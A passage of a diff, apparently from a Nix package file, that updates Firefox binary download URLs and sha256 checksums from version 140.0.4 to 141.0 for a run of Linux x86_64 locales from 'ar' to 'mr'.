+      sha256 = "fdfa0e89b46d6d6a7c1b0ac963c37aa74c4fbbc3f0e91744713674431d36f723";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ar/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ar/firefox-141.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "82e951d31b07d9688937734621057a7619cf191fe752ba8ec727163917ae56cc";
+      sha256 = "40f6cdd85d1088f5d9e9f22d6a38cd51d0b392d0dc5ede6fbd1a1addec274812";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ast/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ast/firefox-141.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "8dda2a1af36b2dca3de2c9f74bc0072f3be2d9b3214d39d710db03583d921b84";
+      sha256 = "6391be9e9d2d1a5b4bc7be20fc139842d3e47822c8ff526a8d17f7f007ec8c83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/az/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/az/firefox-141.0.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "2807a17273842e0599a13dfe4fdea595f2f5949217e3a346b92839d15dea72e0";
+      sha256 = "32d9ed4fc3b209f664fe6384ef518a6671bcdf56738821a0297cd7a9dbd1515d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/be/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/be/firefox-141.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "b8296455d8ece60bffb88e8202dc30c34bef5d7ec1ffab8af08239e70ab1046d";
+      sha256 = "237c9ee1875b6e323efc9ad180aa690538ff553e446f998493b0ef4bfef62a09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/bg/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/bg/firefox-141.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "7d3e2f5e04170c73008253f03b11fbe0c48c183faf6e10e2350e1836df60a475";
+      sha256 = "2b298fc9131958876dfe687ab11b00c900ee33f258b6b2b115cda43f7a01086f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/bn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/bn/firefox-141.0.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "be32a5971fd9ec8b7a90ec14d36025501744bfd0fede998f7e3050529f84480d";
+      sha256 = "38c00267f75db553981c7d102045a92625290d1fb97fa4fcc98664b76ce4da17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/br/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/br/firefox-141.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "fd4216ca595c6aeb3df8f65757f255ec19c3ec3a4efc189f247ff46266c0b49c";
+      sha256 = "1d7da8cddbb96807b1ed1be39c2f2d7dfed48423cc5647a30b016deaf4192958";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/bs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/bs/firefox-141.0.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "81dd60942c9ff6756678076ecd7911bcdf3b7d4a5a8afbd7b30b18a6653ab542";
+      sha256 = "e26ba197a3f103633af4fcca1b8a170abf56a099e8dd682e3ccb76cc3a320845";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ca-valencia/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ca-valencia/firefox-141.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "033596fb9b446b4e83a05db4d3ca4bbedb4749fc306d2abf19aa18cd1ce56c7b";
+      sha256 = "7e67820161094d2fb516d6e2e2c28ebbd34a131532cc699698019b218c2421be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ca/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ca/firefox-141.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "8e0b32b4201d78fa0cdbe39358091f75823385bfef42202073b08fb89e855f1d";
+      sha256 = "ee562cfaaefac838448d021afbebeaa7b466fd61697f90aa3b4520a74cd0a95d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/cak/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/cak/firefox-141.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "80030af3faff215dd3a31a38ddf6300c25317c48d43cd6e368edb8260500b38c";
+      sha256 = "7fde32de81a709d9cd21c0ca6fbde093c17746455c4d03054f73ff4bdae4f078";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/cs/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/cs/firefox-141.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "3268be2e344b28b4b29eb1e72cf998c08c03a4ec09b291c492c91e7ddd8ce527";
+      sha256 = "5a7ecf4748639f839660f9b087a30a951dd9f7a6ba96a174ee47291007cae675";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/cy/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/cy/firefox-141.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "ea30df26b853d0ac57d3e180469b31e8ab1ca9b2715159126254920934a553c7";
+      sha256 = "5bd49100e3779b0ada4cd1f639daff934dbb52fd0361f04b64230e24a0eb49f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/da/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/da/firefox-141.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "1ab11a3de9e956f9409b0bb1bd63e93bca452dfee9af08b6146a48aec05360ce";
+      sha256 = "7b0b58d4b1389752f4247fcbf7b9b5d1595ece150606b0f90a57343dacd8504b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/de/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/de/firefox-141.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "41238ec3f71f94994a5b4e0f8f853f37e118b525c236184f8252e5a8f3fd5fb6";
+      sha256 = "b6d065f00726d340e0dff99192230f103a67e9e53ed33f54982d4c3fbb8743d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/dsb/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/dsb/firefox-141.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "9bc216214d2b946e1b6fd299650e7694936d40e8c42d1af495846846034b4e42";
+      sha256 = "80c95b18b23323da0ab223e821d334e43c1dd559ee7766b0d0528bee785357c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/el/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/el/firefox-141.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "eaf89ac946296670fdd03ff1a04b4e31415cf5a3aeea74136abe060aed5c1174";
+      sha256 = "bf674b73a1fe252aaa116009278522b6d77abc5904f6c0a80a2582838e64a1bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/en-CA/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/en-CA/firefox-141.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "f3fc43e9a3cd80217021d16158f5a8788d0e79312b2d04f6506ef7b959be8f75";
+      sha256 = "cb4ba527f1529848a4b4685cf2b95f2c412a0949df8ad39e7d46361ddf362e40";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/en-GB/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/en-GB/firefox-141.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "c0ad885a06a9c3544d26342ce750c8f77833af7bb07b58056b3766d8b39f9121";
+      sha256 = "7ff41d22f2d9cb62ae9886103a790c353bbe43dfb2536f2726e5e65bdd8bd8a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/en-US/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/en-US/firefox-141.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "63e0033e6f4dd0576074de3cf1f70feec43359f923ed9055e554cf84b13856f6";
+      sha256 = "2e96728330c1ffc90dbf45ecd10a82237e4ee528245888954000e67435494829";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/eo/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/eo/firefox-141.0.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "9ba6978b7b93067906632f5ff5cc5176dcfa822b328bef47aeda12a2b80b772e";
+      sha256 = "71866de169b504b80b2a3fba2e636b3e12c6f89e53d8c7ad9440bd613f5e85b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-AR/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-AR/firefox-141.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "5f18c84a33a752113b605b7aa1190f861266d112bbd3bf11a02e398374f21793";
+      sha256 = "57f6b30511f93c3c5aba682c61fa533b1bae6682c0979cda3ac910bca2aa660b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-CL/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-CL/firefox-141.0.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "3e50bdee8ba84836a5e473e7ae16a10a77c72ea00313ef747d481e456509d5cb";
+      sha256 = "1f86e51d8e1573ab65cc6614a06cccd5176d1a34b9ca7b78a7015e820c54703a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-ES/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-ES/firefox-141.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "c968ee5478d2d0d19345e3b2589c4ab59b920ea8d7362c9568894b01844b53ad";
+      sha256 = "c623c56d71f89a9a1bbd31edc8b2a3dee30522ae32448e92d608e8269aad5d3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/es-MX/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-MX/firefox-141.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "4b5cb4200ce1b0d03fa64c6548ac890ad728ba48f820cc57b646851a2b799906";
+      sha256 = "e4d2e2865070df8e6c41191401b854e20ae75f1c4ad7c0aea530adc761c39db2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/et/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/et/firefox-141.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "cbc37f1164ae18c166304847ddaf77a2f41f80cfacffc621dd83ce49f58b396f";
+      sha256 = "31cc948f723a7dcc0dd8fe8f6daea40102aa84dcb80855eae9bf85dcf26f9d86";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/eu/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/eu/firefox-141.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "391084c38de7ec752b0127a2e094000428a1e14695be863ce9974a93bac68ca3";
+      sha256 = "d4089668e9fbefc146bdf33dcb6ceed190d6a65ee56d2c95e998b06adcb9b39d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fa/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fa/firefox-141.0.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "d4748949656408593c2a1b50cde8aaf793bc72949839757e0c876fd41103fbf6";
+      sha256 = "6d0e6301529846f112c6590852e72bc747c9d5448b72935a49920a39a14d3439";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ff/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ff/firefox-141.0.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "6936546f2b1ec30628566448d7ee1899bb2421aba7fe6216cffb188d1b37db30";
+      sha256 = "5dc83cdce211ffae44202383634c96b443e0b83722ddd2ca0e06028b85b9c539";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fi/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fi/firefox-141.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "b5fc0520a281b904effb0934de09d5aa181fe7e1e69097e5a210f171441cf8e4";
+      sha256 = "c6a1b0da82834768b5102f7abb698a2a9b86a1a8e4cf5c289f76e597fd26de81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fr/firefox-141.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "b09ae010df4e4532e8352b53d1e912063a7212d32a98b7c57d6b65ae8f69d2cb";
+      sha256 = "1fcda548b4e7d7dd489646d7b375dffce227d978bfd2f6d08b85dde3c7bb38d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fur/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fur/firefox-141.0.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "d22129ecdd21d576196314138c1ea95a3586e32597dfd7ec10ac521b1051f342";
+      sha256 = "3ec0a1f62207fbdfdd393ddee4834df18948acb90b2563898031e071e6b7aa76";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/fy-NL/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fy-NL/firefox-141.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "af31dd2af4fe4b189028c950a18aafb0c1c3929584c010eb7fbfd265f4d070ab";
+      sha256 = "ec25b6f7c44797af3801ea711897e170eefa73e73ef631de71c67abdef5e1173";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ga-IE/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ga-IE/firefox-141.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "af7fec204caac40b39d53c32d4998e8d79d63852c20c814d452bff7242c3a203";
+      sha256 = "c7b6828beea6cf578301b0e765ec4f8518f35eccb8a2e370ed94e5697f09d115";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gd/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gd/firefox-141.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "39557be86366b4af33ceba02999817cd9c924b71fa53c8ce8c5978db46540c03";
+      sha256 = "37e25ae1bb99b97610cd9be71ca0d4cadcef048412d520aae58fc2764e6181db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gl/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gl/firefox-141.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "641d663a98e9cfb2d73851cd43690e5ba6558eb9a53293d82bc56317f13d304b";
+      sha256 = "83183330f5a1784da6f246f3ba0daf8beb8742a7440c51dc8b184b0b9de3f588";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gn/firefox-141.0.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "b31eae5285175df269e309669f7b388d5e0a6ba638bfeda93055332b50de7239";
+      sha256 = "45057f2c452fd7ab24f9962b40c246638432d4d7d03b19ea782badca090da0f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/gu-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gu-IN/firefox-141.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "4005c93cc405fd87d657e48fe5d1fd4465138672fde4c99f52b473d6c0610c91";
+      sha256 = "68af924f8fb5d919ea5599ba568962c8009d4f5de07d874d5334687972f36338";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/he/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/he/firefox-141.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "c8be882c46896913f393dfa087aae2234a658aedd1fd40b95e6929fef4a09d89";
+      sha256 = "73e902a07907897b5a4003c7ff24871b43d716d2a794bf70e507f8a5e11f683e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hi-IN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hi-IN/firefox-141.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "9635a5904731ff04829de5fe78006643bf95e66ced31cf408a391c840529ec57";
+      sha256 = "e225f7ffe452266ffab0d85b487b81dbf04a5429d57f70da53a86839a6a9014c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hr/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hr/firefox-141.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "fbb0266b9d44fa95ce0d836828c652931b95fb0788fc34677627f2f65154f0f7";
+      sha256 = "a72814186ba7b1f51d284acc8d8e9073fc6648c77d39247a4ae47b0efdcdf32c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hsb/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hsb/firefox-141.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "67b867edf6f8755462e6655a924ad814f2dec6773fb9f16a8fe7a2e99f5e162f";
+      sha256 = "b7adaa498a7bb21ba2b25420ed2114a0e37016b0522778c9ee181a60bef97291";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hu/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hu/firefox-141.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "b2e5d9572e5c4a432b8724da8d93b1b2fc380aa17edb1bbc8e9404fc7aceb3fa";
+      sha256 = "d1d19362eeaafea3741cc304c25698a1a786560eac7723e4809b9e838a45a6fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/hy-AM/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hy-AM/firefox-141.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "2275107b5ce36130de9ed6a017b3eba161094d6d82795e14ec94f49c219e28e6";
+      sha256 = "917231e760fea43b5cf8c0ca536677201d763e6407cd3bc9dd40a23f09b30a83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ia/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ia/firefox-141.0.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "1e8da9c5524c7f110747be29b8d5dd0cf9dde3e688b69dc01b4f2ab9128ad998";
+      sha256 = "9a95a730bdbaa79bca731a646ca3c5e404758a853b48f9be46ca1c986fe7fc02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/id/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/id/firefox-141.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "003534b48392817c8086008ece34ebc3841e46cfe542b2fcae85fa53f4e23328";
+      sha256 = "da3d3de6eff36ec93fbcfdcccd0283513eaea316a2cc9ebd814d895fc1b68e41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/is/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/is/firefox-141.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "b4721a060e43541462752c7d32afd68dbbd31acc2b5a6ecf80a266e7e96f25ff";
+      sha256 = "c08761f2e05d8ff2e972f129bcb8922d8dde2e33d50e9812854111a27f120c3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/it/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/it/firefox-141.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "aacda149720a3b218a7bbc7e5f9b79f9b90f12a1c0e11d9c3cdc6ba73bdf4e1a";
+      sha256 = "ea28cf696817240f2046c7806c883b38dccfbbeb3d16584856230484b3ae6f40";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ja/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ja/firefox-141.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "4c3e0e5d946447466a14f65c94f27c11e5fb20b948da4d580ea069909b9babd5";
+      sha256 = "bf84f48fb3649491dcfb15123daa413df7acdb1f228b6d9a942c680e781d4f92";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ka/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ka/firefox-141.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "58c5ba63cceaa864645f015148305b73dcc68ee15d30f65c38fd4a8c731f87e9";
+      sha256 = "f6da1a00fe176ecd85817b26a068f4e1130bd50abf6136109ea0401573844f96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/kab/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/kab/firefox-141.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "8759cb4d63917b1a767eeef65fcedb63d56e5abaaa6fde80ceed66eac5daa76d";
+      sha256 = "bda812d1c00b1b7bbd711749833abcc6b751074e37ad829d0e2c242e1e7f74c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/kk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/kk/firefox-141.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "6f3d8d0872fad6b6d99842ed558e4585c55928d46abbadb8a5b9ecad41d98147";
+      sha256 = "67b5f326b92f46ae52c648758e0157d0c14336ff957ca21b84288897273d5eec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/km/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/km/firefox-141.0.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "599233b9a4a4e0d8bbb303df932830f5f48f05e6e8f6abc6a613b9cb65a3a08a";
+      sha256 = "4fb69460b2a9a9a768aed91915c000f18860c1a46efc31e05c5fc4e083b6bceb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/kn/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/kn/firefox-141.0.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "0fedef33ccdf32bb7d402ac10068c4710473acfc35daa75f0027364c61f37993";
+      sha256 = "37dffc6a11fcd7cecd68a1bfc1d91c23f5877fad9c371e43fe5fc523d2b532ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/ko/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ko/firefox-141.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "afbe28ce7f201e9ff3910ea66780c9422ea8c2d6f86914fd35d3e12016039199";
+      sha256 = "84e953fc82150ada59b72277056f9f925cc57dcde96770c09ad080cf9aa8b372";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/lij/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/lij/firefox-141.0.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "07b0ea91c23c6925bfa9ae4fb8778feaaaa9ed0b1dcab8f401fe438fb97440f8";
+      sha256 = "a3fdc95541c34d23c4d8f3ebe75abbd292dab4c6342dc8f66d569d44aa4b3487";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/lt/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/lt/firefox-141.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "9baa71d8a7c20aca54c421b0aa89d7a5ccd47d81ae330b62f47d80645fbccc7e";
+      sha256 = "8dfcbe66f2a636207e26033a4657880579853f456fa74bdfc569bb3c855ca6d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/lv/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/lv/firefox-141.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "09e19b4cbafa4eed3389bfb4d963ee336f20e1e7013d73302f6735fba0c83762";
+      sha256 = "9b9b6025ff3723d8bed7d0674e4a769120f7ca7fb292e13aa6cd1395de578b3a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/mk/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/mk/firefox-141.0.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "8863e0afc27e29630604ab9d5d46119233dc6dc1acdaa0411ddf546e51f25a90";
+      sha256 = "d3d04e13714e5008f8e748caa30e8822a7ebf4ee34062869a04fb26e12facdd0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-x86_64/mr/firefox-140.0.4.tar.xz";
